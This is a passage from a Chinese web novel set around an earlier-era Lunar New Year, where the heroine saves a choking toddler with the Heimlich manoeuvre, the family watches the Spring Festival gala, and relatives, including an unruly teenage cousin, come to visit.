时墨在旁边时不时搭两句话,把哥哥在厂里的优秀表现、平时的孝顺靠谱,不着痕迹地夸了个遍,说得晓娟爸妈眉开眼笑,越看时建军越满意。 “现在在哪儿上班啊?”周晓娟妈一边倒茶一边问。 “现在在首都机械研究所工作。”时建军老老实实地答。 “哟,那可是好单位啊!正式工?” “对,正式职工。” 周晓娟妈眼睛一亮,跟周晓娟爸对视一眼,脸上笑开了花。 时墨在旁边看着,笑着给哥哥打圆场。 周晓娟妈越看时建军越满意,一个劲儿地夸他稳重、踏实、人品好、有出息。周晓娟爸话不多,但脸上一直带着笑。 临走时,周晓娟妈拉着时墨的手,悄悄问:“你哥这条件,有对象了没?” 时墨憋着笑,一本正经地说:“还没呢。阿姨,我哥这人,一门心思扑在工作上,个人问题一直没顾上。” 周晓娟妈笑得合不拢嘴,连连点头:“好好好,年轻人,先立业后成家,应该的!” 从周晓娟家出来,时建军的脸都红透了,一个劲地问时墨:“妹,你说……叔叔阿姨对我印象咋样?会不会觉得我太木讷了?” “放心吧哥,绝对有戏!”时墨笑着拍了拍他的胳膊,“你没看见阿姨看你的眼神,就跟看准女婿似的。晓娟也一直帮你说话,对你有意思着呢!好好表现,我感觉这事准成!” 时建军脸还红着,嘴上却说:“别瞎说,人家就是客气。” “客气什么客气,你没听见 她一个劲儿夸你?”时墨笑着说,“接下来就看你的了,多主动点,约晓娟出来玩,像看电影、逛公园、溜冰啊这类。明天就是年三十了,你正好可以约她去看灯会。” 时建军悬着的心彻底放了下来,走路都带风。 兄妹俩说说笑笑地往家走,刚拐进家属院的胡同,忽然听见有人喊:“时墨!” 时墨抬头一看,秦野正站在路边,手里拎着两挂鞭炮、一大包烟花,穿着崭新的军大衣,看见她来,笑着跑了过来。 她跳下车,走过去问:“秦野?你怎么在这儿?” 秦野目光落在时墨身上,眼神里带着点紧张,又带着点期待:“我专门来找你的,在这儿等你快半个钟头了。” 时墨一愣:“找我?” 秦野点点头,把鞭炮往身后藏了藏,像是给自己壮胆似的,深吸一口气:“时墨,我有话想跟你说。” 时墨看着他紧张的样子,心里忽然有点预感。 秦野张了张嘴,刚要开口—— “秦野!你买鞭炮买哪儿去了?半天不回来!”远处传来一声喊,是他班同学。 秦野脸上的表情僵了僵,到嘴边的话又咽了回去。 他懊恼地往身后看了一眼,又转过头看向时墨,眼神里满是不好意思,还有点不甘心:“那个……时墨,明天晚上,我能来找你放烟花吗?我买了好多烟花,特别好看。” 时墨看着他紧张的样子,忽然笑了:“好啊,没问题。” 秦野笑了,露出一口白牙,笑得格外爽朗:“说好了!明晚七点,我在你家楼下等你!不见不散!” 说完,他转身跑了,跑了两步又回头看了一眼,冲时墨挥挥手,才消失在胡同口。 时墨站在原地,看着他跑远的背影,忍不住笑了。 时建军骑车过来,好奇地问:“妹,秦野找你啥事啊?” 时墨收回目光,跳上后座,随口道:“没什么,约我明天放烟花。” “放烟花?”时建军笑了,蹬起车子往前走,“这小子,我看他刚才那架势,像是要跟你说啥大事似的。不过你晚上一个人出去不安全,我陪你一起过去。” “知道了。”时墨应了一声,没再想这事。 回到家,屋里已经飘满了饭菜香。李秀兰正在厨房里忙活,案板上摆着剁好的肉馅,盆里泡着海带和粉条,灶台上炖着一锅红烧肉,咕嘟咕嘟冒着泡,香味勾得人直咽口水。 “回来了?快洗手,帮我把饺子包了。”李秀兰从厨房探出头来,手上还沾着面粉。 时墨洗了手,坐到案板前。 李秀兰擀皮,她包,母女俩配合默契。时墨包的是元宝形的,一个个圆鼓鼓的,摆在盖帘上特别好看。 时建军也凑过来帮忙,包的饺子歪歪扭扭,站着都费劲,被李秀兰嫌弃了半天:“你看看你包的,跟猪耳朵似的,一会儿下锅全得煮破!” 时建军不服气:“破了也是饺子,又不耽误吃。” 时墨在旁边笑,手里的动作没停。 窗外,不知谁家放了几个二踢脚,噼里啪啦响了一阵,吓得院里的狗直叫。 时墨抬头看向窗外,暮色四合,炊烟袅袅。 楼下有人在放小鞭,抽陀螺,小孩儿们的笑声传得老远。 年三十了。 时墨收回目光,继续包饺子。一个个元宝似的饺子整整齐齐地摆在盖帘上,白白胖胖的。 “妹,你这饺子包的也太好了,我这跟你的摆在一起简直是惨烈的对比。”时建军拍拍手上的面粉感慨道。 包完最后一盖帘,时墨站起身,伸了个懒腰:“不让你包,你还包。” “那我也不能让你一个人干。” “我这坐着又不累。” “不是一码事。” 窗外的鞭炮声越来越密了。 时墨走到窗边,推开一条缝往外看。胡同里有人已经在放烟花了,一簇簇火光窜上夜空,炸开五颜六色的花朵。 “墨墨,过来帮我端菜!”李秀兰在厨房里喊。 时墨应了一声,转身就往厨房走。 结果楼下一个人的身影,让她忽然停住了脚步。 可就在这时,门外突然传来一阵急促的脚步声,紧接着是砰砰砰的敲门声。 时墨心里一紧,转身看向门口。 第60章 “时家大兄弟!秀兰妹子!快开门!救命啊!” 门外传来对门刘婶的哭喊声, 声音都劈了,急得变了调,混着噼里啪啦的鞭炮声, 听得人心里一揪。 时墨三步并作两步冲到门口, 飞快拧开了门锁。 门刚开了一条缝, 刘婶就一头撞了进来, 脸上糊满了眼泪和鼻涕,看见时墨,一把抓住她的胳膊,手抖得跟筛糠似的:“墨墨!快!快救救我家小宝!他吃饺子的时候,把包在饺子里的一分钱吞下去, 卡嗓子眼里了!怎么拍都拍不出来!脸都憋紫了!气都快上不来了!孩子要是有个三长两短, 我这可怎么活啊——” 时墨脑子嗡地一声,身体已经比脑子先动了, 甩开刘婶的手就往对门冲:“别慌!都别乱碰!我来!” 时建军和李秀兰也瞬间变了脸色, 鞋都没换稳,紧跟着就跑了过去。 对门屋里乱成了一锅粥。王大叔抱着三岁的孙子, 急得满头大汗。 孩子窝在他怀里, 小脸憋得青紫, 嘴唇发乌, 眼睛都翻白了, 两只小手胡乱抓着,喉咙里发出嗬嗬的怪声,眼看进气少出气多, 就要不行了。 周围围了好几个闻声过来的邻居,大家伙急得团团转,却一点办法都没有。 “快!使劲拍背!把东西拍出来!” “不行就伸手抠!把硬币抠出来!” “别瞎弄!孩子这么小, 抠坏了嗓子怎么办!” 乱哄哄的喊声里,孩子的气息越来越弱。 “都别碰!”时墨厉声喊了一句,声音清亮,瞬间压过了所有嘈杂,她挤开人群冲过去,“乱拍背会让异物卡得更深!伸手抠只会让孩子更紧张,万一硬币滑进气道,当场就没救了!” 她一把从王大爷怀里接过孩子,双腿分开站稳,让孩子趴在自己的左胳膊上,脸朝下,头低脚高,下巴牢牢卡在虎口处,保证气道畅通,另一只手的掌根,对准孩子后背两肩胛骨中间的位置,快速又用力地拍了五下。 一下,两下,三下…… 周围瞬间死一般的安静,所有人都屏住了呼吸,大气不敢喘一口,目光死死钉在时墨的动作上,心都提到了嗓子眼。 五下拍完,硬币没出来。 孩子的手已经不抓了,软塌塌地垂着,连微弱的嗬嗬声都没了。 刘婶腿一软,直接瘫在了地上,捂着嘴不敢哭出声,怕打扰到时墨。 时墨手心全是汗,心跳快得要撞出胸腔,飞快地把孩子翻过来,脸朝上放在自己屈膝的大腿上,用手指扒开孩子的嘴看了一眼——硬币还卡在声门处。 她没有丝毫犹豫,立刻找准位置:肚脐上方两横指的地方,右手攥拳,拳眼贴住孩子的腹部,左手牢牢包住拳头,快速、猛地向内上方冲击按压。 一下,两下,三下,四下,五下。 第六次按压落下的时候,孩子猛地弓了一下身子,剧烈地咳嗽起来,一枚带着血丝的一分钱硬币,从他嘴里“噗”地一声吐了出来,滚在水泥地上,发出清脆的叮当响。 “哇——” 孩子憋了半天的哭声,终于炸响在屋里,虽然还有点喘,但脸色肉眼可见地从青紫变回了红润,眼睛也能聚焦了,小手紧紧抓着扑过来的刘婶的衣服,眼泪哗哗地流,哭得撕心裂肺,却听得所有人都松了一大口气。 “出来了!出来了!” “我的天爷!真是捡回一条命啊!” “这孩子刚才脸都紫了!我以为……”有人说到一半,说不下去了,抹着眼泪别过头去。 周围的邻居瞬间炸开了锅,有人拍着胸口顺气,有人抹着眼泪庆幸,整个屋子的紧张气儿瞬间散了,只剩下劫后余生的庆幸。 刘婶抱住孩子,哭得上气不接下气,哆嗦着手摸孩子的脸、摸孩子的头、摸孩子的胸口,确认孩子真的缓过来了,“噗通”一声就给时墨跪下了:“墨墨!好孩子!救命恩人啊!我们老王家给你磕头了!你救了我孙子的命啊!” 王大叔也红了眼,跟着就要往下跪。 “哎别!刘婶王大爷,使不得!”时墨赶紧赶紧伸手把两人扶起来,“都是街坊邻居,孩子没事就好,这都是应该的。” 有人把那枚带血的硬币捡起来,刘婶接过去,手抖得跟筛糠似的,眼泪吧嗒吧嗒往下掉。 “刘婶,硬币上带血,孩子刚才卡着的时候,喉咙怕是划破了。”时墨站起来,拍了拍身上的灰,语气平静却认真,“大年三十医院有急诊,你们得赶紧带孩子去医院检查一下,看看有没有划伤食道,别落下什么毛病。” “对对对!去医院!得去医院!”王大叔瞬间反应过来,抱起孩子就要往外冲,可脚步一顿,又急得团团转,“这大过年的,胡同口的三轮车都回家过年了,哪儿找车去啊!” 刘婶也急得又要哭:“这离医院好几里地呢,抱着跑过去,孩子哪儿受得了啊!” “我送。” 人群后面突然传来一道沉稳的男声,不高,却瞬间让乱哄哄的屋子安静了下来。 众人回头一看,只见谢时昀从人群里走出来,穿着件深灰色的呢子大衣,围着条藏青色的围巾,不知道什么时候来的,也不知道在门口站了多久。 他身上还带着外面的寒气,目光扫过屋里,最终落在了时墨身上,看她脸色还有点发白,眉头几不可察地皱了一下,又很快松开。 周围的邻居瞬间认出来了,纷纷小声议论:“这不是赵厂长的外甥谢时昀吗?人家有小轿车!” “太好了!这下孩子不用耽误了!真是遇上贵人了!” 谢时昀没接众人的话,只快步走过来,动作利落地脱下自己的大衣,裹在孩子身上,稳稳地从王大叔手里接过孩子,托得格外小心,生怕颠着孩子,转身就往门外走:“我车停在胡同口,现在就走,十几分钟就能到儿童医院急诊,你们快跟上。” “哎!哎!谢谢小谢同志!太谢谢你了!”刘婶夫妻俩瞬间像是抓住了救命稻草,连忙跟上去,嘴里翻来覆去地说着道谢的话。 路过门口的时候,谢时昀的脚步顿了顿,和站在门框边的时墨对视了一眼。 时墨还站在门口,手扶着门框,脸色还没缓过来,额头上还有一层细密的汗。 两人的目光对上。 谢时昀的目光里带着点不易察觉的担心,嘴唇动了动,像是想说什么,最终只点了一下头,转身下了楼。 时墨也没开口,看着他消失在楼梯口。 人一走,周围的邻居瞬间围了上来,把时墨围在了中间。 “墨墨,你刚才那是什么法子啊?也太神了!几下就把孩子从鬼门关拉回来了!”楼下的王大妈一把拉住她的手,满脸的佩服和好奇,“以前也听说过谁家孩子卡了东西,没救过来的,你这法子也太管用了!” “是啊是啊,快教教我们呗!”隔壁的李婶也跟着凑过来,语气里又是后怕又是急切,“我家那小子也皮,总爱往嘴里塞东西,这要是哪天不小心咽下去,我哭都没地方哭去!” “就是!墨墨你快给我们说说,这法子怎么弄的?我们都学学,万一遇上了,能救命!” 大家看着时墨的眼神里,全是佩服。刚才那情况,换谁都慌了手脚,也就时墨一个小姑娘,临危不乱,动作干脆利落,硬生生把孩子从鬼门关拽了回来,谁能不佩服? “我是在书上看到的,这法子叫海姆立克急救法,是专门对付气管卡异物的。不管是饺子里的硬币,还是糖块、花生米,大人小孩都能用这个法子救。”时墨笑着应了,拉过身边一脸懵的时建军,“哥,你配合我一下,我给大家演示一遍,拆解开讲,大家都能学会,家里有老人孩子的,万一遇上了,能救命。” “哎!好!”时建军立刻点头,站得笔直,乖乖配合妹妹的动作。 时墨就着楼道里的灯光先把三岁以下孩子的急救步骤,一步步拆开讲,每一个动作的要点、力度、位置,都讲得明明白白,又演示了两遍,确认大家都看清楚了。 然后又站在时建军身后,演示成人的急救方法:“要是大人卡了东西,就这么做——找准肚脐眼往上两横指的位置,右手攥拳,拳眼对着肚子,左手包住拳头,快速使劲往里往上顶,一下是一下,不能乱拍,直到异物吐出来。” 她又教了自救的法子:“要是身边没人,自己卡了东西,就找个硬的桌边、椅背,抵住刚才说的位置,猛地往前压,一样管用。” 邻居们把兄妹俩围得严严实实,一个个学得格外认真,有大妈当场就掏出随身的小本子,把要点一笔一划记下来,还有人跟着时墨的动作,对着空气比划,嘴里念念有词地背要领。 “原来是这样!看着简单,没想到这么管用!” “以前哪知道这个啊,遇上这事就知道使劲儿拍背,现在才知道,还有这法子!” “还好今天有墨墨在,不然王家这孩子,可就危险了!” “可不是嘛,”李婶点点头,又压低声音说,“不过说真的,往饺子里包钱这事儿,以后还是别弄了。图个吉利是小事,孩子出事是大事。” “就是就是,我家今年就没包。”王大妈连连点头,“刘婶家这事儿,可给咱们提了个大醒。” 众人七嘴八舌议论了一阵,学完了法子,又对着时墨连连道谢,才各自散了,回家忙年夜饭去了,嘴里还在念叨着刚才学的急救法子,生怕忘了。 一关上门,李秀兰直接坐在了椅子上,拍着胸口,一脸后怕:“我的天,刚才可吓死我了!那孩子脸都紫得变色儿了,手也不动弹了,我这心都提到嗓子眼了!墨墨,你啥时候学会的这个法子?妈都不知道你还有这本事。” “以前在图书馆看急救的书学的,没想到今天真用上了。”时墨随口找了个稳妥的借口,洗了洗手,笑着道,“还好赶上了,孩子没事就好。” “你这孩子,真是给咱们家积德了。”时爱国也松了口气,在旁边念叨,“还好墨墨会这招,不然今儿这事儿可就大了。刚才我看着都捏了一把汗,王家就这一个宝贝孙子,真要是出了事,老两口可怎么活。” 时建军心有余悸道:“说真的,妹,刚才我都吓傻了,你居然一点都不慌,太厉害了。对了,往饺子里包钱这习俗,以后咱家可绝对不能弄了,太危险了。” “可不弄了!”李秀兰连忙点头,“本来我还寻思今年包几个一分钱,图个新年吉利,还好没弄!你说这大过年的,万一出点啥事,年都过不成了。” “行了,这事到此为止,大过年的不说这些不吉利的话!”时爱国摆摆手,饺子都包好了,我去下锅,咱们吃年夜饭!” 一家人说着话,很快就把刚才的紧张劲儿散了。 饺子下了锅,又把炖好的红烧肉、炸丸子、红烧鱼一一端上桌,满满一桌子菜,全是年三十的硬菜,冒着热气,香味飘了一屋子。 窗外的鞭炮声越来越密,噼里啪啦的,夹杂着烟花炸开的声响。时墨一家人围坐在桌前,举起倒满了橘子汽水的杯子,碰了碰杯子,热热闹闹地吃起了年夜饭。 吃完饭,收拾好桌子,一家人就围在黑白电视机前,等着看春节联欢晚会。八点整,熟悉的序曲一响,年味儿瞬间就拉满了。 现在的春晚,没有后来的时髦服饰和花哨的灯光舞美,却全是实打实的真功夫。时墨以前只在老视频里看过,现在坐在电视前,看着那些熟悉又陌生的面孔,心里忽然有点感慨。 “下面请欣赏小品《拍电视》,表演者陈佩、朱时。” 时墨眼睛一亮,筷子都放下了。 陈佩光着膀子,穿着条大棉裤,一出场就满堂彩。朱时戴着鸭舌帽,一本正经地在那儿喊“开拍”,陈佩斯被折腾得一会儿哆嗦一会儿流鼻涕。 “这陈佩斯太逗了!”时建军笑得直拍大腿,“你看他那光头,缩着脖子学鬼子进村的样子!笑死我了!哎哟,我乐得肚子疼。” 李秀兰也笑得前仰后合,筷子上的饺子都掉回碗里了。 时墨不管看了多少遍也忍不住乐,嘴里不知不觉跟着电视里的台词一块儿念:“队长,别开枪,是我……” “妹,你咋知道他要说啥?”时建军好奇地扭过头看她, 时墨愣了一下,随口胡诌:“写剧本都这个套路,我猜的。” 时建军哦了一声,没多想,又被电视里的相声吸引了注意力。马老先生正说《大笑特笑》,慢悠悠的,每一句都抖个包袱,逗得满屋子笑声不断。 窗外开始有人放鞭炮了,噼里啪啦震得窗户嗡嗡响,把电视里的声音都盖住了。 时建军坐不住了,穿上棉袄,从床底下翻出那挂大地红,又拎了一兜子二踢脚和窜天猴,兴冲冲地喊着:“妹,走!下楼放炮去!” 时墨也穿好棉袄,围上围巾,冲屋里喊:“爸!妈!一起下去啊!” “你们先去玩,我和你爸把这几个菜收拾了就下去!”李秀兰在厨房里应了一声。 时墨也没多劝,跟着时建军下了楼。 家属院空地上已经聚了一堆人。半大小子们追着放小鞭,女孩们捂着耳朵躲在一边笑,大人们三三两两站着聊天,互相道着新年好,热闹得不行。 不少跟时建军、时墨相熟的邻居朋友看见他们都笑着打招呼,凑在一起放烟花,你一言我一语,热闹得很。 大家正闹着,忽然听见巷子口传来汽车引擎的声音。 一辆黑色轿车缓缓停在家属院门口,车门打开,刘婶抱着孙子下了车,孩子已经醒了,趴在奶奶肩膀上,小脸还是白的,但眼睛滴溜溜地转,精神头看着好多了。 “刘婶他们回来了!”有人喊了一声,楼下放炮的人呼啦啦围了上去,七嘴八舌地问孩子的情况。 “刘婶,小宝咋样?大夫怎么说?” “孩子没事吧?” “医生怎么说?严不严重?” “没事没事!”刘婶笑得眼泪都出来了,“大夫说就是嗓子划破了点皮,没伤到食道,开了点消炎药,让这几天吃软和的东西养一养!真是多亏了墨墨和小谢同志!我们老两口这辈子都忘不了这份恩情!” 大家一听孩子没事,都纷纷笑着说宽慰的话。 谢时昀站在一边,应付着大家的道谢,目光却穿过人群,落在了不远处正蹲在地上,帮邻居家小姑娘点烟花棒的时墨身上。 火光照在她脸上,一亮一暗的,她笑着把点燃的烟花棒递给小姑娘,又拍了拍她脑袋,说了句什么,眉眼弯弯的,明媚动人。 谢时昀跟大家说了几句话,就挤出了人群,朝着时墨走了过来。 “时墨,建军。”他先对着时建军打了招呼,才看向时墨,嘴角带着浅浅的笑意,“新年好。” “新年好。”时墨礼貌地点了点头,既不热络,也不疏离。 时建军对谢时昀特别热络,连忙笑道:“谢哥,今天要不是你开车送孩子去医院,还不知道要耽误多久呢。小宝可是刘婶家的命根子。” “举手之劳而已,没什么。”谢时昀笑了笑,把手里一直拎着的礼品袋递到时建军手里,“建军,过年了,给叔叔阿姨带了点东西,一点心意。” 时建军一看那纸袋上的字,连忙推回去:“谢哥,这可使不得!稻香村的点心,这么一大盒,太贵重了!” “不值什么钱,过年应个景。”谢时昀笑着又把袋子推了回去。 “那也不行,我们哪能收你东西——” “拿着吧。”谢时昀拍拍他肩膀,语气随意却不容拒绝,“就几块点心,你不收,倒显得我失了礼数。今天太晚我不上去打扰了,你替我跟叔叔阿姨问声好。” 时墨站在一边,看着两人推来推去,猜到不出两分钟她哥就得接下。 果然,还没到一分钟,时建军就推辞不过,手里被硬塞下了点心。 巷子里有人在放闪光雷,一簇簇火光窜上天,炸开满天花雨。红的,绿的,紫的,把每个人的脸都照得明明暗暗。 谢时昀东西送出去了,也没多留,对着两人笑了笑:“不耽误你们放烟花了,我先回去了。祝你们新年顺遂,万事顺心。” 说完,他又深深地看了时墨一眼,才转身开车离开了。 “妹,你看这……”时建军拎着点心,一脸为难地看着时墨。 “拿着吧,人家都送来了,再送回去反倒不好看。”时墨说道,“回头找个机会,把人情还回去就是了。” 时建军这才点了点头,把袋子拎好,又兴冲冲地拉着时墨去放最大的那挂鞭炮了。 十二点的钟声敲响,新年的鞭炮声达到了顶峰,烟花一簇簇窜上天,炸开满天花雨。 时墨插着兜,仰头看着绚烂的烟火,嘴角不自觉扬起了浅浅的笑意。 这一年,有惊有险,有得有获。新的一年,只会越来越好。 * 因为昨晚守岁到凌晨一点多才睡,大年初一这天,时墨直接睡了个懒觉。 窗外偶尔传来几声零星的鞭炮响,时墨蒙住脑袋,翻了个身,继续睡。 李秀兰在厨房里忙活,时爱国在客厅看报纸,夫妻俩轻手轻脚的,谁也没去喊她。 “让她多睡会儿,昨儿个累坏了。”李秀兰压低声音说,“那孩子又是救人又是放炮的,折腾到大半夜。” 时爱国点点头,轻声翻过报纸。 时建军坐在沙发上剥花生,剥了一小碟,给他妈端过去:“妈,这花生炒得挺香,给墨墨留点。” “留了留了,还用你说。”李秀兰笑着拍了他一下。 一家人安安静静的,连说话都压着嗓子。 结果十点多钟,忽然—— “砰砰砰!砰砰砰!” 一阵急促的敲门声,伴随着一个大嗓门的女人喊声,穿透进屋子。 “老二!秀兰!开门!大姐来看你们了!” 里屋,时墨被震耳的敲门声吵醒了,揉着眼睛坐起身。 时建军快步走到门口,拉开门—— “建军,你们在家呢!我还说你们家咋没人呢,敲了半天门才开!” 时爱国从沙发上站起来,脸上又惊又喜:“大姐?!你怎么来了?我们还打算初二去看你们呢!” 时芳华一进门,就拉着李秀兰的手,大嗓门笑着道:“弟妹!新年好!没想到我们今天就来了吧!” 时墨在屋里听着,愣了一秒。 大姐?她大姑? 她赶紧套上棉袄,扒拉了两下睡得乱糟糟的头发,推门出去。 客厅里已经站满了人。 她大姑时芳华正拉着李秀兰的手,大嗓门笑着说话,五十岁上下的年纪,穿着件枣红色的新棉袄,头发梳得一丝不苟,看着就是利落能干的性子,嘴碎却心热的模样。 她旁边站着大姑父赵德柱,穿着件藏蓝色的棉服,拎着东西,看着就是个老实本分的人,话不多,正跟时爱国坐在沙发上,递烟唠嗑。 他们身后还跟着四个人。 最前面的是表哥赵海霖,二十四岁,眉眼跟大姑很像,挺精神,看着就稳当。身边站着他媳妇王桂英,穿着件碎花棉袄,扎着低马尾,文文静静的,见人就笑,有点腼腆,手里还拎着两个布袋子,全是带来的年货。 再往后是表姐赵红梅,二十二岁,圆脸大眼睛,扎着两条油亮的麻花辫,好奇地东张西望。 最后面那个…… 靠在门框上的,是大姑家的小儿子赵虎,十五岁,一米七的个头,瘦得像根竹竿,穿着件崭新的军大衣,帽子歪戴着,手里转着一把弹弓,吊儿郎当地打量着屋里的一切,眼睛滴溜溜地转,一看就是个不省心的主儿。 时墨的目光刚扫到他,他也在看她。两人对视了一眼,虎子上下打量她一下,撇了撇嘴,把脸扭过去了。 时墨心里微微皱眉,面上却笑着迎上去:“大姑,大姑父,新年好!” “哎哟,墨墨!” 大姑一眼看见了她,立刻松开李秀兰的手,快步走过来,一把拉住她的手,上下打量,笑得眼睛都眯成了一条缝:“一段时间没见越长越俊了!咋还瘦了!是不是学习累的?你妈也是,孩子念书要紧,也不能饿着啊!” 李秀兰从厨房出来,围裙上还沾着面粉,笑着招呼:“大姐来了!快坐快坐!我这就去下饺子!” “不急不急,”大姑摆摆手,目光在屋里转了一圈,又落回时墨身上,“听说墨墨今年出息了?又是捐国宝又是出书的,报纸上都登了?我们燕化厂那边,好多人都在议论,说我们时家出了个才女!大姑脸上都跟着沾光!” “大姐,快别夸了,这孩子就是运气好。”时爱国嘴上谦虚,眼里的骄傲却藏不住。 大姑父赵德柱也开口了,声音浑厚:“爱国,你这闺女养得好。我听说书都印了好几万册特别畅销?这在咱家,可是头一份!” 时墨笑着应了几句,不动声色地打量着这家人,又对着表哥表姐喊了人,“大哥,大嫂,二姐,新年好。” 几人也连忙笑着回礼,赵红梅凑过来,拉着时墨的手,一脸羡慕:“妹妹,我看过你写的书!写得太好看了!我认识的人都抢着看!你可太厉害了!” 正热闹着,靠在门框上的赵虎,突然“切”了一声,翻了个白眼,嘟囔道:“不就写了本破书吗?有什么了不起的。” “虎子!你给我闭嘴!”大姑瞬间变了脸,一巴掌拍在他后脑勺上,“你看看你!多大了还没个正形!在你二舅家,就这么没规矩?!” 赵虎揉着后脑勺,满脸不服气,却不敢跟他妈顶嘴,只是撇了撇嘴,一屁股坐到了沙发上,拿起桌上的大白兔奶糖就拆开扔嘴里,糖纸随手扔在地上。 “地上扔的什么?捡起来!” 赵虎不满地嘟囔了一句,不情不愿地弯腰把糖纸捡起来,顺手又往兜里揣了几块糖。 大姑气得又要打他,被李秀兰拉住了:“大姐,小孩子嘛,大过年的,别生气了。” “过年都十五了,不小了。”大姑叹了口气,满脸无奈,“我真是拿他没办法……” 虎子嘴里嚼着糖,眼睛还在屋里扫来扫去,扫到时墨屋里的时候,眼睛突然亮了—— 作者有话说:啊——我才发现这章九点没发出来,我以为设置时间了,结果昨晚写完太困了,忘记按确定【..top】 60-65 第61章 时墨还没来得及反应, 赵虎已经几步蹿进了她屋里。 “哟!墨墨姐屋里还挺讲究!”赵虎跟进了自己家一样,大马金刀地往书桌前一坐,伸手就拿起桌上的一个小瓷摆件, 翻来覆去地看, 又拿起旁边的铜墨盒, “啪”地一下掀开盖子, 鼻子凑上去闻,“这什么玩意儿?旧了吧唧的,一股子墨臭味。” 时墨紧跟进来,看着自己的东西被人随手乱翻,心里已经有些不痛快了, 但大年初一, 亲戚头一回上门,她强忍着没发作, 语气冷了几分:“赵虎, 你到别人家做客,都随便乱翻人东西?” “切, 你放着明面上不就是让人看的?破铜烂铁, 能值几个钱?”赵虎撇了撇嘴, 不当回事, 把铜墨盒往桌上一扔, 墨盒在桌面上滑出去老远,差点撞翻了青花小碟子。他伸手又把碟子抄起来,举起来对着窗户光晃, “不就个破碟子吗?瞧你小气的,跟宝贝似的。 弄坏了大不了我赔你俩,多大点事。” 客厅里, 时建军和赵海霖哥俩好久没见,正坐在沙发上聊得热乎,听见里屋的动静,两人脸上的笑瞬间都收了。 时建军几步走到卧室门口,看着赵虎手里的碟子,声音不大,却硬邦邦的带着火气:“赵虎,把东西放下。那是我妹的东西,你别乱动。” “建军哥,你也太小题大做了。”赵虎翻了个白眼,把碟子往桌上一搁,“不就几个破玩意儿吗?我看看怎么了?还能看坏了?” “破玩意儿?”时建军冷笑一声,往前迈了一步,“你手里那个破玩意儿,够你哥在厂干大半年。你要是不信,摔一个试试,看你赔不赔得起。” 这话一出,不仅赵虎傻了,连跟着进来的赵海霖都变了脸。 赵虎手一抖,手里的青花碟子差点掉在地上,赶紧小心翼翼地放回了原位,嘴上却不服气,还硬撑着:“吹、吹牛吧你!就这破碟子能值那么多钱?”话是这么说,手却再也不敢往桌上的东西伸了,眼睛里的嚣张劲儿也散了大半。 “放桌上是我妹的私人物品,跟你有什么关系?”时建军还想再说,被赵海霖一把拉住了。 赵海霖满脸歉意,对着时墨和时建军连连抱歉,语气里满是不好意思:“建军,墨墨,对不住,是我没看好弟弟,给你们添麻烦了。他被我爸妈宠坏了,不懂事,我替他给你们道歉,东西要是有磕碰、坏了,我们全赔,多少钱都赔。” “哥!你干啥!”赵虎还不服气地梗着脖子,被赵海霖狠狠瞪了一眼,“你再闹,回头我就跟爸说,让他扣你这个月的零花钱!”赵虎瞬间蔫了,不情不愿地闭了嘴,可眼睛却还在屋里四处乱瞟,黏在那些摆件、集邮册上,不知道在打什么歪主意。 他眼睛瞟到桌上摊着几页稿纸,看到上面的内容,拿起来就翻。 “墨墨姐又写新小说了?我看看——”赵虎举着稿纸冲屋外喊,“二姐!快来!你看墨墨姐新写的小说!” 赵红梅正在客厅跟李秀兰说话,听见喊声抬头,就看见弟弟举着一沓稿纸冲她挥,瞬间就变了脸,快步迎上去,一把将稿纸抢了过来,抬手就给了赵虎胳膊一下:“谁让你随便拿别人东西的?一点规矩都没有!我平时怎么教你的?” 她顾不上骂弟弟,小心翼翼地抚平稿纸上的折痕,满脸通红地把稿子还回时墨,满眼歉意:“墨墨,对不起啊,我弟太不懂事了,你别跟他一般见识。我特别喜欢你写的书,但绝对不会不经过你同意随便看你手稿的,你放心。” 赵红梅是真心喜欢看书,也懂尊重人,递稿子的时候,眼睛都没往稿纸上瞟一眼,规规矩矩,态度诚恳得很。 “没事。”时墨接过稿子,看着她真诚的样子,点了点头,没再多说什么。 这边的动静早就惊动了大姑和大姑父。大姑时芳华快步走过来,看着缩着脖子的赵虎,抬手就给了他后脖领一巴掌,骂道:“你个小兔崽子!我出门前怎么跟你说的?到了你二舅家要守规矩!你就是不听!到处给我惹祸!” 说是打,其实就是轻轻拍了一下,连红都没红。 骂完了,她转过身拉着时墨的手,笑着打圆场:“墨墨,你别跟你弟计较,这孩子才十五,还是个不懂事的毛头小子,被我和你姑父宠坏了。你看这大过年的,别为了他生气哈,回头大姑好好说他!” 她顿了顿,脸上的笑意更浓了,拍着时墨的手,声音故意提了提,让客厅里的时爱国也能听见:“不过说真的,墨墨你是真出息了,又能写书又能赚钱,学习还好。我们家虎子要是有墨墨一半,我睡觉都能笑醒。” 时墨笑了笑没吭声,等着她后半句话。 果然,时芳华话锋一转,叹了口气,满脸愁容地说:“墨墨你看你弟,明年就要中考了,成绩一塌糊涂,回回考班里倒数,我跟你姑父愁得头发都白了。大姑想求你个事,你这放假反正也没事,能不能每天抽两个小时,给你弟补补文化课?数学、语文、英语,你随便教教,总比他在家瞎混强。” 时墨没想到她真把算盘直接打到了自己头上,心里瞬间就腻味了。 还没等她开口拒绝,李秀兰就先笑着挡了过来,把时墨往自己身后拉了拉:“大姐,不是我们不帮,实在是墨墨没几个月就要高考了,学习紧得很。她自己复习都忙不过来,每天都要学到半夜,哪有时间给虎子补课啊?真的是抽不开身。” “就是啊大姐。”时爱国也赶紧帮腔,语气却很坚定,“高考是孩子一辈子的大事,半分马虎不得,墨墨这半年都得专心准备,实在是帮不上这个忙。再说了,虎子正是叛逆的时候,墨墨一个姐姐,也管不住他,反倒耽误了两个人。” 大姑脸上的笑容僵了一下,还想再说什么,旁边的赵虎一听补课,脸拉得老长,先嚷嚷起来了:“我才不学!谁要她给我补课!读书有什么用?我初中毕业就去学开车,考个驾照,给厂里开货车,一个月挣得比大学生都多!妈你别瞎操心!” “你给我闭嘴!”大姑父赵德柱瞬间火了,指着他骂道,“没出息的东西!开车开车!没文化你连交通规则都背不下来,哪个车队敢要你?现在不是以前了,没文化走到哪儿都被人看不起!你连个初中毕业证都拿不利索,将来能干啥?你明年必须给我考上高中!” “我不考!我就不学!”赵虎梗着脖子跟他爸顶嘴,父子俩瞬间吵了起来,客厅里闹哄哄的。 时芳华在旁边急得直跺脚,拉着这个劝着那个,嘴里还不停念叨:“你看看你墨墨姐!也就比你大三岁,人家因为有文化,都出书赚钱了!你呢?除了惹祸,就知道吃、就知道玩,还会干什么?你要是有墨墨一半本事,我跟你爸还用操这个心?” 赵虎被骂得满脸通红,不服气地嘟囔道:“有什么了不起的……”声音却越来越小,缩到沙发角去了,手偷偷往兜里揣了点瓜子。 